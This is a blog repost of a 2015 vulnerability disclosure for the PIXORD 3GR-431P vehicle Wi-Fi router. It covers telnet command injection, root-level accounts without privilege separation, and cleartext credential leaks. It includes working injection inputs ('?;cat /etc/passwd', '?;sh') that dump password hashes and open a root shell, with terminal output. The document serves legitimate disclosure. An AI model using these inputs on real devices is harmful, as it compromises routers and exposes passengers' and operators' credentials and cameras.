Wednesday, October 14, 2015

PIXORD Vehicle 3G Wi-Fi Router 3GR-431P - Multiple Vulnerabilities

New exploit / advisory posted on Exploit-db & Packetstorm:

https://www.exploit-db.com/exploits/38370/
https://packetstormsecurity.com/files/133834/PIXORD-Vehicle-3G-Wi-Fi-Router-Command-Injection-Information-Disclosure.html

# Exploit Title: [Vehicle 3G Wi-Fi Router - PIXORD - Multiple
Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor till date]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.pixord.com/en/products_show.php?show=17]
# Version: [Model Name :3GR-431P]
[Software Version :RTA-A001_02]
[Wireless Driver Version :2.6.0.0]
 
*Vehicle 3G Wi-Fi Router - PIXORD *
http://www.pixord.com/en/products_show.php?show=17
 
*Device Info *
 
Model Name :3GR-431P
Software Version :RTA-A001_02
Wireless Driver Version :2.6.0.0
 
PiXORD 3GR-431P 3G Wi-Fi Router is a 3G + GPS + 802.11n (2T2R) wireless
router. It supports Internet access via 3G and receives position
information from GPS. 3GR-431P also supports two Ethernet ports for LAN
connectivity and 802.11n Wi-Fi Access Point for WLAN connectivity.
 
It is available to install the 3GR-431P on the transportation. The
passengers can use the laptop or smart phone via Wi-Fi to browse the
Internet on the go. The Ethernet port also can connect IP camera to provide
the real time monitoring.
 
Vulnerability Impact: Easy and full device compromise. Access to configured
keys, passwords, pass-phrases, accounts, etc. Ability to monitor the user /
vehicle via camera / connected devices.
 
*Multiple Security Vulnerabilities *
 
*1. OS command injection *
$ telnet 192.168.1.10
Trying 192.168.1.10...
Connected to 192.168.1.10.
Escape character is '^]'.
Vehicle 3G Wi-Fi Router
Login: admin
Password:
>
> ?
mobile3G
mobileGPS
model
reboot
restoredefault
version
 
As seen above, only few specific, functional options are available for
device management.
 
However, we can bypass this and dump hashes easily.
 
> ?;cat /etc/passwd
sh: ?: not found
 
admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh
 
> exit
 
Note that this is also applicable when a non-admin ‘user’ / ‘support’ logs
in over the Telnet.
 
The web application lacks strict input validation and hence vulnerable to
OS command injection attack.
 
*2. Configuration not secured properly / AuthZ issues *
 
The device has three users - admin, support, user.
 
Apparently, there is no separation of privileges between these 3 users,
when accessing over HTTP(S). All options are available to all three then.
This allows 'user' /'support' to access device configuration file -
RT2880_Settings.dat. Configuration backup contains b64-encoded login
passwords + clear-text WPA keys + other sensitive information.
 
.. …
*Sensitive information in configuration file - *
 
*more RT2880_Settings.dat *
#The following line must not be removed.
Default
WebInit=1
HostName=pixord
Login=admin
Password=<admin_password_here>=
Login2=support
Password2=<support_password_here>==
Login3=user
Password3=<user_password_here>==
OperationMode=1
Platform=RT3352
.....
<snip>
.....
wan_pppoe_user=pppoe_user
wan_pppoe_pass=pppoe_passwd
wan_l2tp_server=l2tp_server
wan_l2tp_user=l2tp_user
wan_l2tp_pass=l2tp_passwd
.....
<snip>
.....
wan_pptp_server=pptp_server
wan_pptp_user=pptp_user
wan_pptp_pass=pptp_passwd
.....
<snip>
.....
DDNS=
DDNSAccount=<ddns_account_name_here>
DDNSPassword=<ddns_password_here>
CountryRegion=
CountryRegionABand=
CountryCode=
BssidNum=1
SSID1=PiXORD
WirelessMode=9
.....
<snip>
.....
WscSSID=RalinkInitialAP
WscKeyMGMT=WPA-EAP
WscConfigMethod=138
WscAuthType=1
WscEncrypType=1
WscNewKey=<wsc_key_here>
IEEE8021X=0
IEEE80211H=0
CSPeriod=6
PreAuth=0
AuthMode=WPAPSKWPA2PSK
EncrypType=TKIPAES
RekeyInterval=3600
RekeyMethod=TIME
PMKCachePeriod=10
WPAPSK1=<WPA_PSK_Key_here>
DefaultKeyID=2
Key1Type=0
Key1Str1=
Key2Type=0
Key2Str1=
Key3Type=0
Key3Str1=
Key4Type=0
Key4Str1=
WapiPskType=0
.....
<snip>
.....
WdsEnable=0
WdsEncrypType=NONE
WdsList=
WdsKey=
WirelessEvent=0
RADIUS_Server=0
RADIUS_Port=1812
RADIUS_Key=
RADIUS_Acct_Server=
RADIUS_Acct_Port=1813
RADIUS_Acct_Key=
.....
<snip>
.....
wan_3g_apn=public
wan_3g_dial=*99#
wan_3g_user=
wan_3g_pass=
<snip>
RADIUS_Key1=<radius_key_here>
.....
<snip>
.....
 
Also, as observed in point 1 above, all the users have a UID 0, i.e. root
level privileges to the device:
 
admin:<password1>:0:0:Adminstrator:/:/bin/sh
support:<password2>:0:0:Adminstrator:/:/bin/sh
user:<password3>:0:0:Adminstrator:/:/bin/sh
 
The application should ideally provide specific privileges to different
users, and enforce strict access control.
 
*3. Application does not secure configured passwords (HTTPS) *
 
Masked password(s) can be retrieved via frame source (inspect element) and
/ or intercepting request via a proxy.
 
The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.
 
*4. Program / Scripts running in an insecure manner - leaking clear-text
passwords in process information *
 
After logging in to the device over Telnet, we can drop in to a shell via
OS command injection attack described in point 1.
 
> ?;sh
sh: ?: not found
Enter 'help' for a list of built-in commands.
BusyBox v1.12.1 (2012-12-25 11:48:22 CST) built-in shell (ash)
 
#
 
Checking running processes reveal a system program *inadyn*, which
apparently is a service for ddns connectivity, leaking valid username and
password in clear-text.
 
# ps aux
PID USER VSZ STAT COMMAND
1 admin 1768 S init
2 admin 0 RWN [ksoftirqd/0]
.....
<snip>
.....
2159 admin 1096 S inadyn -u *<ddns-username_here>* -p *<ddns-password_here>*
 -a *<ddns_domain_here>*
4050 admin 1768 R ps aux
 
The programs should be run securely without passing cli arguments and
parameter values in clear-text.
--

No comments:

Post a Comment

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.